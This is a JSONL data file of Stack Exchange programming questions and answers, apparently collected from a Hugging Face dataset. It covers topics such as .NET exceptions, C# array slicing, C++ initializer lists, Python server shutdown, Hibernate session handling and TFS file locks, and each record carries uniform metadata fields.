"https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:26.435897"}
{"id": "hf_af7e03257fa6", "question": "<p>On a Windows 2003 server I have a pure .NET 3.5 <code>C#</code> app (no unmanaged code). It connects to various other remote systems via sockets and acts like a data hub. It runs for 10-15 hours fine with no problem but from time to time it just disappears. If I watch the app using task manager the memory usage remains constant.</p>\n\n<p>In the <code>Main()</code> function I wrap the invocation of the rest of the app in a <code>try .. catch</code> block which it just blows completely past - the catch block which logs the exception to a file is ignored. If I manually raise an exception for testing, the catch block is invoked.</p>\n\n<p>Prior to entering the <code>try .. catch</code> I do :</p>\n\n<pre><code>Application.SetUnhandledExceptionMode(UnhandledExceptionMode.ThrowException);\n</code></pre>\n\n<p>The system has Dr. Watson on it, but nothing gets written in the directory <code>DRWTSN32.EXE</code> is pointing to.</p>\n\n<p>How can I catch whatever exception is causing this?</p>\n", "question_body": "", "answer": "If it's a Windows Forms application, you could try\n```\nApplication.ThreadException\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:26.459215"}
{"id": "hf_b8c942c8529c", "question": "<p>Is there an efficient way to take a subset of a C# array and pass it to another peice of code (without modifying the original array)? I use CUDA.net which has a function which copies an array to the GPU. I would like to e.g. pass the function a 10th of the array and thus copy each 10th of the array to the GPU seperately (for pipelining purposes).</p>\n\n<p>Copying the array in this way should be as efficient as copying it in one go. It can be done with unsafe code and just referencing the proper memory location but other than that I'm not sure. The CopyTo function copies the entire array to another array so this does not appear useful.</p>\n", "question_body": "", "answer": "I'm not sure how efficient this is but...\n```\n```\nint[] myInts = new int[100];\n\n//Code to populate original arrray\n\nfor (int i = 0; i < myInts.Length; i += 10)\n{\n    int[] newarray = myInts.Skip(i).Take(10).ToArray();\n    //Do stuff with new array\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:26.489174"}
{"id": "hf_744dd31d2d86", "question": "<p>I've just come across a property setter that catches exceptions (all Exceptions; I know that's bad, but it's not relevant here), and <em>only</em> logs them.  First of all, I think it should through them again as well; why wait for a crash and a log study when you can know something is wrong right away?</p>\n\n<p>However, my main question is, do I validate against invalid date values, add a RuleViolation object to a ValidationRules object on my document, or throw an InvalidDate exception, or just let the CLR throw the exception for me (invalid dates are nothing but invalid dates, not checked for range etc.)</p>\n", "question_body": "", "answer": "Catching and rethrowing is the worst thing to do. Its expensive to TRY, if youre just going to rethrow what the point? You can\ncatch unhandled exceptions with the global.asax\nfor example if you need to log them.\nIn terms of validation, from a web perspective i always use regex validators for dates, these fire client and server side so i know when im inside an\n```\n```\nif(Page.IsValid)\n```\n```\nblock that my txtDate.Text is a valid date, so i dont bother checking because its just wasteful.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:26.562760"}
{"id": "hf_8beeee07e3f2", "question": "<pre><code>\nclass C {\n  T a;\npublic:\n  C(T a): a(a) {;}\n};\n</code></pre>\n\n<p>Is it legal?</p>\n", "question_body": "", "answer": "Yes it is legal and works on all platforms. \nIt will correctly initialize your member variable a, to the passed in value a.\nIt is considered by some more clean to name them differently though, but not all.  I personally actually use it a lot :)\nInitialization lists with the same variable name works because the syntax of an initialization item in an initialization list is as follows:\n<member>(<value>)\nYou can verify what I wrote above by creating a simple program that does this:  (It will not compile)\n```\n```\nclass  A\n{\n\n   A(int a)\n   : a(5)//<--- try to initialize a non member variable to 5\n   {\n   }\n};\n```\n```\nYou will get a compiling error something like: A does not have a field named 'a'.\nOn a side note:\nOne reason why you\nmay not want\nto use the same member name as parameter name is that you would be more prone to the following:\n```\n```\nclass  A\n{\n\n   A(int myVarriable)\n   : myVariable(myVariable)//<--- Bug, there was a typo in the parameter name, myVariable will never be initialized properly\n   {\n   }\n   int myVariable;\n};\n```\n```\nOn a side note(2):\nOne reason why you\nmay want\nto use the same member name as parameter name is that you would be less prone to the following:\n```\n```\nclass  A\n{\n\n   A(int myVariable_)\n   {\n     //<-- do something with _myVariable, oops _myVariable wasn't initialized yet\n     ...\n     _myVariable = myVariable_;\n   }\n   int _myVariable;\n};\n```\n```\nThis could also happen with large initialization lists and you use _myVariable before initializing it in the initialization list.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:26.621364"}
{"id": "hf_5f9c77103235", "question": "<p>I'm trying to get a specific asp:button onclick event to fire when I press the enter key in a specific asp:textbox control.</p>\n\n<p>The other factor to be taken into account is that the button is within a asp:Login control template.</p>\n\n<p>I've no idea how to do this, suggestions on a postcard please.</p>\n", "question_body": "", "answer": "You need to do it with javascript. It's really easy with\njQuery.\nYou can do something like (off the top of my head, not tested):\n```\n```\n$('#myTextBox').keypress(function(e){\n    if(e.which == 13)\n        $('#myBtn').click();\n});\n```\n```\nEdit: Be aware that although jQuery works exceptionally cross browser, there are some quirks with keypress described\nhere\n.\nWhoops i didnt see you said the \"enter key\" i thought you said \"any key\", yeah in that case use DefaultButton on asp:panel", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:26.645761"}
{"id": "hf_4d703d800d43", "question": "<p>For my website I configured some custom error pages.\nIf I generate a 404, the redirect works fine.\nWhen hitting a 400, the \"bad request\" text shows up instead of the configured URl.</p>\n\n<p>As a test I copied the URL from 404 to 400. No change.\nThen I changed the redirect to a file. No change.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "Check what's in your web.config file in the\n```\ncustomErrors\n```\nsection. That has a\n```\ndefaultRedirect\n```\nattribute, and an\n```\nerror\n```\nsubtag with a\n```\nredirect\n```\nattribute. These can conflict with your other configuration settings in IIS.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:26.673571"}
{"id": "hf_d0a1bc972aa5", "question": "<p>A quick question: When declaring the DLLImport Attribute in .Net, where does the runtime look to resolve that DLL dependency? Would I have to dump the DLL and all of <em>its</em> dependencies in the bin folder?</p>\n", "question_body": "", "answer": "Generally, you'd expect it to look at whatever's defined in the user's Path.\nTo find out what this contains, from a command prompt, type\n```\necho %PATH%\n```\n[Enter]", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:26.732358"}
{"id": "hf_761b6b4b265b", "question": "<p>I am running my <code>HTTPServer</code> in a separate thread (using the threading module which has no way to stop threads...) and want to stop serving requests when the main thread also shuts down.</p>\n\n<p>The Python documentation states that <code>BaseHTTPServer.HTTPServer</code> is a subclass of <code>SocketServer.TCPServer</code>, which supports a <code>shutdown</code> method, but it is missing in <code>HTTPServer</code>.</p>\n\n<p>The whole <code>BaseHTTPServer</code> module has very little documentation :(</p>\n", "question_body": "", "answer": "I should start by saying that \"I probably wouldn't do this myself, but I have in the past\". The serve_forever (from SocketServer.py) method looks like this:\n```\n```\ndef serve_forever(self):\n    \"\"\"Handle one request at a time until doomsday.\"\"\"\n    while 1:\n        self.handle_request()\n```\n```\nYou could replace (in subclass)\n```\nwhile 1\n```\nwith\n```\nwhile self.should_be_running\n```\n, and modify that value from a different thread. Something like:\n```\n```\ndef stop_serving_forever(self):\n    \"\"\"Stop handling requests\"\"\"\n    self.should_be_running = 0\n    # Make a fake request to the server, to really force it to stop.\n    # Otherwise it will just stop on the next request.\n    # (Exercise for the reader.)\n    self.make_a_fake_request_to_myself()\n```\n```\nEdit: I dug up the actual code I used at the time:\n```\n```\nclass StoppableRPCServer(SimpleXMLRPCServer.SimpleXMLRPCServer):\n\n    stopped = False\n    allow_reuse_address = True\n\n    def __init__(self, *args, **kw):\n        SimpleXMLRPCServer.SimpleXMLRPCServer.__init__(self, *args, **kw)\n        self.register_function(lambda: 'OK', 'ping')\n\n    def serve_forever(self):\n        while not self.stopped:\n            self.handle_request()\n\n    def force_stop(self):\n        self.server_close()\n        self.stopped = True\n        self.create_dummy_request()\n\n    def create_dummy_request(self):\n        server = xmlrpclib.Server('http://%s:%s' % self.server_address)\n        server.ping()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:26.755064"}
{"id": "hf_1da50cb83f79", "question": "<p>I'm scanning through a file looking for lines that match a certain regex pattern, and then I want to print out the lines that match but in alphabetical order. I'm sure this is trivial but vbscript isn't my background</p>\n<p>my array is defined as</p>\n<pre><code>Dim lines(10000)\n</code></pre>\n<p>if that makes any difference, and I'm trying to execute my script from a normal cmd prompt</p>\n", "question_body": "", "answer": "From\nmicrosoft\nSorting arrays in VBScript has never been easy; that’s because VBScript doesn’t have a sort command of any kind. In turn, that always meant that VBScript scripters were forced to write their own sort routines, be that a bubble sort routine, a heap sort, a quicksort, or some other type of sorting algorithm.\nSo (using .Net as it is installed on my pc):\n```\n```\nSet outputLines = CreateObject(\"System.Collections.ArrayList\")\n\n'add lines\noutputLines.Add output\noutputLines.Add output\n\noutputLines.Sort()\nFor Each outputLine in outputLines\n    stdout.WriteLine outputLine\nNext\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:26.778626"}
{"id": "hf_ca6a7eec1129", "question": "<p>How do you do your Hibernate session management in a Java Desktop Swing application? Do you use a single session? Multiple sessions?</p>\n\n<p>Here are a few references on the subject:</p>\n\n<ul>\n<li><a href=\"http://www.hibernate.org/333.html\" rel=\"noreferrer\">http://www.hibernate.org/333.html</a></li>\n<li><a href=\"http://blog.schauderhaft.de/2008/09/28/hibernate-sessions-in-two-tier-rich-client-applications/\" rel=\"noreferrer\">http://blog.schauderhaft.de/2008/09/28/hibernate-sessions-in-two-tier-rich-client-applications/</a> </li>\n<li><a href=\"http://in.relation.to/Bloggers/HibernateAndSwingDemoApp\" rel=\"noreferrer\">http://in.relation.to/Bloggers/HibernateAndSwingDemoApp</a></li>\n</ul>\n", "question_body": "", "answer": "Single session. Start transaction when you need to do a set of operations (like update data after dialog box OK button), commit the tx at the end. The connection though is constantly open (since it's the same session), and thus all opportunities for caching can be used by both Hib and RDBMS.\nIt may also be a good idea to implement a transparent session re-open in case the connection went dead -- users tend to leave applications open for extended periods of time, and it should continue to work Monday even if DB server was rebooted on weekend.\nUpdate\nJens Schauder provided a reason to use multiple sessions: partial (unwanted) updates to the session. Well, that comes down to the way you use Hibernate.\nSuppose we have two dialogs open (as in Jens' blog example). If user clicks a radiobox, and we immediately update a Hibernate entity associated with this radiobox, then, when user clicks Cancel, we're in trouble -- session is already updated.\nThe right way, as I see it, is to update dialog variables (non-Hibernate objects) only. Then, when user clicks OK, we begin a transaction, merge updated objects, commit the transaction. No garbage gets ever saved into session.\n```\n```\nMyHibernateUtils.begin();\nSettings settings = DaoSettings.load();\n// update setttings here\nDaoSettings.save(settings);\nMyHibernateUtils.commit();\n```\n```\nIf we implement such a clean separation of concerns, we can later switch to multiple sessions with a simple change of MyHibernateUtils.begin() implementation.\nAs for possible memory leak, well... Transaction.commit() calls Session.flush(), which AFAIK, cleans the cache too. Also, one may manually control the caching policy by calling Session.setCacheMode().", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:26.801723"}
{"id": "hf_9bfbe2985497", "question": "<p>I'm using java and referring to the \"double\" datatype.\nTo keep it short, I'm reading some values from standard input that I read in my code as doubles (I would much rather use something like BigInteger but right now it's not possible).</p>\n\n<p>I expect to get double values from the user but sometimes they might input things like:\n999999999999999999999999999.9999999999\nwhich I think is beyond an accurate representation for double and get's rounded to 1.0E27 (probably).</p>\n\n<p>I would like to get some pointers on how to detect whether a specific value would be unable to be accurately represented in a double and would require rounding (so that I could refuse that value or other such actions).</p>\n\n<p>Thank you very much</p>\n", "question_body": "", "answer": "Most values entered by humans won't be exactly representable with a double.\nFor instance, do you want to prevent the user from entering 0.1? That's not exactly representable as a double.\nTo find the scale of the error, you could do something like:\n```\n```\nBigDecimal userAsDecimal = new BigDecimal(userInput);\ndouble userAsDouble = double.parseDouble(userInput);\nBigDecimal doubleToDecimal = new BigDecimal(userAsDouble);\nBigDecimal error = userAsDecimal.subtract(userAsDouble).abs();\n```\n```\nThen check whether \"error\" is tolerably small.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:26.825609"}
{"id": "hf_b5e17fa06a4c", "question": "<p>I have a HQL query that can generate either an IList of results, or an IEnumerable of results. </p>\n\n<p>However, I want it to return an array of the Entity that I'm selecting, what would be the best way of accomplishing that? I can either enumerate through it and build the array, or use CopyTo() a defined array.</p>\n\n<p>Is there any better way? I went with the CopyTo-approach.</p>\n", "question_body": "", "answer": "Which version of .NET are you using?  If it's .NET 3.5, I'd just call\n```\nToArray()\n```\nand be done with it.\nIf you only have a non-generic IEnumerable, do something like this:\n```\n```\nIEnumerable query = ...;\nMyEntityType[] array = query.Cast<MyEntityType>().ToArray();\n```\n```\nIf you don't know the type within that method but the method's callers do know it, make the method generic and try this:\n```\n```\npublic static void T[] PerformQuery<T>()\n{\n    IEnumerable query = ...;\n    T[] array = query.Cast<T>().ToArray();\n    return array;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:26.860938"}
{"id": "hf_82500a91ce93", "question": "<p>I know about <a href=\"https://docs.oracle.com/javase/9/docs/api/java/util/SortedSet.html\" rel=\"noreferrer\"><code>SortedSet</code></a>, but in my case I need something that implements <code>List</code>, and not <code>Set</code>. So is there an implementation out there, in the API or elsewhere?</p>\n\n<p>It shouldn't be hard to implement myself, but I figured why not ask people here first?</p>\n", "question_body": "", "answer": "Why not encapsulate a set with a list, sort like:\n```\n```\nnew ArrayList( new LinkedHashSet() )\n```\n```\nThis leaves the other implementation for someone who is a real master of Collections ;-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:26.884542"}
{"id": "hf_59f26f7b798d", "question": "<p>I have a JFrame with a menu bar and a canvas covering all the remaining surface. When I click on the menu bar, the menu opens <strong>behind</strong> the Canvas and I can't see it. Has anyone experienced this? Other than resizing the Canvas (which I am reluctant to do) is there any solution?</p>\n\n<p>Thanks,<br/>\nVlad</p>\n", "question_body": "", "answer": "You're experiencing heavyweight vs. lightweight issues.\nThe quick fix:\n```\n```\n// Call this sometime before you use your menus \nJPopupMenu.setDefaultLightWeightPopupEnabled(false)\n```\n```\nHeavyweight vs. Lightweight", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:27.001223"}
{"id": "hf_783ebab6dffe", "question": "<p>How do I implement the WS addressing using WCF?</p>\n", "question_body": "", "answer": "WCF automatically inserts appropriate WS-Addressing headers into messages created with the wsHttpBinding, and probably with some other bindings too.\nDid you mean that you want to exert some control over those headers?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:27.061067"}
{"id": "hf_4f23ab8832c7", "question": "<p>I have a need to determine what security group(s) a user is a member of from within a SQL Server Reporting Services report. Access to the report will be driven by membership to one of two groups: 'report_name_summary' and 'report_name_detail'. Once the user is executing the report, we want to be able to use their membership (or lack of membership) in the 'report_name_detail' group to determine whether or not a \"drill down\" should be allowed.</p>\n\n<p>I don't know of any way out of the box to access the current user's AD security group membership, but am open to any suggestions for being able to access this info from within the report.</p>\n", "question_body": "", "answer": "You can add custom code to a report.\nThis link\nhas some examples.\nTheoretically, you should be able to write some code like this, and then use the return value to show/hide what you want.  You may have permissions problems with this method, though.\n```\n```\nPublic Function ShouldReportBeHidden() As Boolean\nDim Principal As New System.Security.Principal.WindowsPrincipal(System.Security.Principal.WindowsIdentity.GetCurrent())\nIf (Principal.IsInRole(\"MyADGroup\")) Then\n    Return False\nElse\n    Return True\nEnd If\nEnd Function\n```\n```\nAlternatively\n, you could add your detail report as a subreport of your summary report.  Then you could use the security functionality built in to SSRS to restrict access to your sub report.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:27.121765"}
{"id": "hf_4c8f6b196484", "question": "<p>What are some strategies to achieve code separation in AJAX applications?</p>\n\n<p>I am building a PHP application that I would like to have a nice AJAX front end on.  I have long since learned to use some kind of templating in my PHP code to make sure I maintain good separation between my logic and display code, but I'm having trouble finding good ways to do this with the JavaScript code on the front end.  I'm using jQuery to make the fetching of XML data and DOM manipulation easy, but I'm finding that the logic and layout code is starting to intermix.</p>\n\n<p>The real problem is that I get XML data from the back end that then has to be reformatted and helpful text has to be wrapped around it (directions and the like).  I've thought about sending over already formatted HTML, but that would require extensive reworking of the backend, and there must be a better way than what I have come up with on my own.</p>\n", "question_body": "", "answer": "I am not 100% sure I get what your issue but what you can do, especially if we are talking about a single page style AJAX application is to use Singletons classes geared toward specific tasks.\n```\n```\nvar XMLFormatter = function(){\n    /* PRIVATE AREA */\n\n    /* PUBLIC API */\n    return {\n        formatXML : function(xml){\n            /* DO SOMETHING RETURN SOMETHING */\n        }\n    }\n}();\n```\n```\nWhat you are left with is a static XMLFormatter class that can be called anywhere on the page like so...\n```\n```\nfunction useClass(){\n    $('#test').update(XMLFormatter.formatXML(someXML))\n}\n```\n```\nThis function can be used as a callback on the AJAX requests.  I use this method for page logic by creating a Page class taht returns an object with an init method that is called when the page is loaded.  The init method then attaches the various events and stuff to my page and it's elements.  This is approach is talked about in\nPro JavaScript Design Patterns\nwell worth the read if you have the time and money.\nIt's also worth bearing in mind that Javascript is quite different in comparison to other languages and usually peoples best-practise approaches are usually just ones adapted from Java.  While this is OK it's not using Javascript to it's full potential.  Remember Javascript is quite event driven due to it's closeness to UI interaction and you will find a some event code mingling with other code. Crockfords website (\nhttp://javascript.crockford.com/\n) has some best-practice articles plus a number of other useful tips.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:27.161944"}
{"id": "hf_d54dd3d9ba36", "question": "<p>Can someone explain why there is the need to add an out or in parameter to indicate that a generic type is Co or Contra variant in C# 4.0?</p>\n\n<p>I've been trying to understand why this is important and why the compiler can't just figure it out..</p>\n\n<p>Thanks,</p>\n\n<p>Josh</p>\n", "question_body": "", "answer": "The\n```\nin\n```\nand\n```\nout\n```\nkeywords have been keywords since C# 1.0, and have been used in the context of\n```\nin\n```\n- and\n```\nout\n```\n- parameters to methods.\nCovariance and contravariance are constraints on how one can implement an interface. There is no good way to infer them - the only way, I think, is from usage, and that would be messy and in the end it wouldn't work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:27.221511"}
{"id": "hf_df8c4a6615ef", "question": "<p>Someone left the organisation but before leaving, he locked all the files for an unknown reason. </p>\n\n<p>How do you unlock them all so that the other developers can work?</p>\n", "question_body": "", "answer": "For the following operation, you will need to be either a project administrator for the project you want to undo the check-in on or a Team Foundation Administrator if you want to do this across all projects.\nIf you still have the username of the person, you can simply do something like this:\nOpen up Visual Studio command prompt (Start -> Programs -> Microsoft Visual Studio 200X -> Visual Studio Tools -> Visual Studio 200X Command Prompt)\nRun the following command:\ntf lock /lock:none\n  /workspace:WorkspaceName;USERNAME\n  /recursive $/\nTo get the list of workspaces for a user, just run the following command from the same prompt:\ntf workspaces /owner:username\nFor more commands, check\ntf /?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:27.283565"}
{"id": "hf_340830075904", "question": "<p>What's the best way to write a LINQ query that inserts a record and then returns the primary key of that newly inserted record using C# ?</p>\n", "question_body": "", "answer": "The primary key value will be in that property after the SubmitChanges().\n```\n```\nMyTable record = new MyTable();\nrecord.Name = \"James Curran\";\ndb.MyTable.InsertOnSubmit(record);\ndb.SubmitChanges();\nConsole.WriteLine(\"record inserted as ID : {0}\", record.Id);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:27.318954"}
{"id": "hf_35019f918703", "question": "<p>When I am using a form containing <code>&lt;input id=\"myFile\" type=\"file\" runat=\"server\" /&gt;</code> to upload a file, my server-side code only sees the filename without the full path when using Firefox, while it works just fine in IE.</p>\n\n<p>Is it possible to retrieve the full file path server-side in this case?</p>\n", "question_body": "", "answer": "You can never be sure of getting a full filepath or even a reliable filename or content-type submitted in a file upload file. Even if you get a full filepath you don't know what the path separator character is on the client's operating system, or whether a file extension (if present) denotes anything at all.\nIf your application requires the filepath/filename/content-type of a submitted file for anything more than giving the user a default title for the item uploaded, it's doing something wrong and will need fixing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:27.342094"}
{"id": "hf_abc75879b3fc", "question": "<p>I've got this python dictionary \"mydict\", containing arrays, here's what it looks like :</p>\n\n<pre><code>mydict = dict(\n    one=['foo', 'bar', 'foobar', 'barfoo', 'example'], \n    two=['bar', 'example', 'foobar'], \n    three=['foo', 'example'])\n</code></pre>\n\n<p>i'd like to replace all the occurrences of \"example\" by \"someotherword\". </p>\n\n<p>While I can already think of a few ways to do it, is there a most \"pythonic\" method to achieve this ?</p>\n", "question_body": "", "answer": "```\n```\nfor arr in mydict.values():\n    for i, s in enumerate(arr):\n        if s == 'example':\n            arr[i] = 'someotherword'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:27.377028"}
{"id": "hf_86cbf9fe589f", "question": "<h3>Duplicate:</h3>\n<blockquote>\n<p><a href=\"https://stackoverflow.com/questions/263945/what-happens-if-you-call-erase-on-a-map-element-while-iterating-from-begin-to-e\">What happens if you call erase on a map element while iterating from begin to end</a></p>\n<p><a href=\"https://stackoverflow.com/questions/180516/how-to-filter-items-from-a-stdmap\">How to filter items from a stdmap</a><br></p>\n</blockquote>\n<p>I have a map <code>map1&lt;string,vector&lt;string&gt;&gt;</code> i have a iterator for this map &quot;itr&quot;.\ni want to delete the entry from this map which is pointed by &quot;itr&quot;.\ni can use the function map1.erase(itr); after this line the iterator &quot;itr&quot; becomes invalid.\nas per my requirement in my project,the iterator must point to the next element. can any body help me regerding this\nthans in advance:)\nsanthosh</p>\n", "question_body": "", "answer": "```\n```\nmap<...>::iterator tmp(iter++);\nmap1.erase(tmp);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:27.399993"}
{"id": "hf_474d21f616f9", "question": "<p>Multistrings (double null-terminated string of null-separated strings) are common in the Windows API. What's a good method for converting a multistring returned from an API to a C# string collection and vice versa?</p>\n\n<p>I'm especially interested in proper handling of character encoding (Windows XP an later).</p>\n\n<p>The following method seems to be okay for creating a multistring, but I don't have an example of decoding a multistring.</p>\n\n<pre><code>static string StringArrayToMultiString(\n    ICollection&lt;string&gt; stringArray\n    )\n{\n    StringBuilder multiString = new StringBuilder();\n\n\n    if (stringArray != null)\n    {\n        foreach (string s in stringArray)\n        {\n            multiString.Append(s);\n            multiString.Append('\\0');\n        }\n    }\n\n    return multiString.ToString();\n}\n</code></pre>\n", "question_body": "", "answer": "This might be naïve, but how about:\n```\n```\nstatic string[] MultiStringToArray(string multiString)\n{\n    return multiString.TrimEnd('\\0').Split('\\0');\n}\n```\n```\nAlso - aren't you missing the final\n```\n\\0\n```\n(you state double-null-terminated) in\n```\nStringArrayToMultiString\n```\n?\nAnd it might be easier to call if the array was a\n```\nparams string[]\n```\narray - something like:\n```\n```\nstatic string StringArrayToMultiString(params string[] values)\n{\n    if (values == null) throw new ArgumentNullException(\"values\");\n    StringBuilder multiString = new StringBuilder();\n\n    foreach (string s in values)\n    {\n        multiString.Append(s);\n        multiString.Append('\\0');\n    }\n    return multiString.ToString();\n}\n```\n```\n[edited after clarification about final \\0]", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:27.423708"}
{"id": "hf_d97b60f8d265", "question": "<p>I have a few links that should all open in the same window or tab.\nTo accomplish this I've given the window a name like in this example code:</p>\n\n<pre><code>&lt;a href=\"#\" onClick='window.open(\"http://somesite.com\", \"mywindow\", \"\");'&gt;link 1&lt;/a&gt;\n&lt;a href=\"#\" onClick='window.open(\"http://someothersite.com\", \"mywindow\", \"\");'&gt;link 2&lt;/a&gt;\n</code></pre>\n\n<p>This works OK in internet explorer, but firefox always opens a new tab/window.\nAny ideas? </p>\n", "question_body": "", "answer": "The window.open() function in Javascript is specifically designed to open a new window, please see:\nw3schools documentation\n. It actually sounds like IE is handling things in a non-standard way (which is hardly surprising).\nIf you want to relocate the existing location to a new page using Javascript, you should look at the\nlocation.replace()\nfunction.\nGenerally speaking I would recommend that you develop for Firefox and then fix for IE. Not only does Firefox offer better development tools but its implementation of W3C standards tends to be more correct.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:27.447216"}
{"id": "hf_a6c1c5ad3a96", "question": "<p>I've been able to find <em>Xaml Object Mapping Specification</em>, <em>WPF Xaml Vocabulary Specification</em>, and <em>Silverlight Xaml Vocabulary Specification</em> documents online but no <em>WF Xaml Vocabulary Specification</em> document for Windows Workflows.  I want to be able to specify workflows without using a Visual Studio IDE.</p>\n\n<p>Does anybody know if this specification exists and if so, where to find it?</p>\n", "question_body": "", "answer": "xps spec\nmay or may not be up to date with the ecma work\nXAML object spec\nWPF XAML spec 2006\nSilverlight xaml spec\nSo far there is no WF spec.\nDouglas", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:27.527895"}
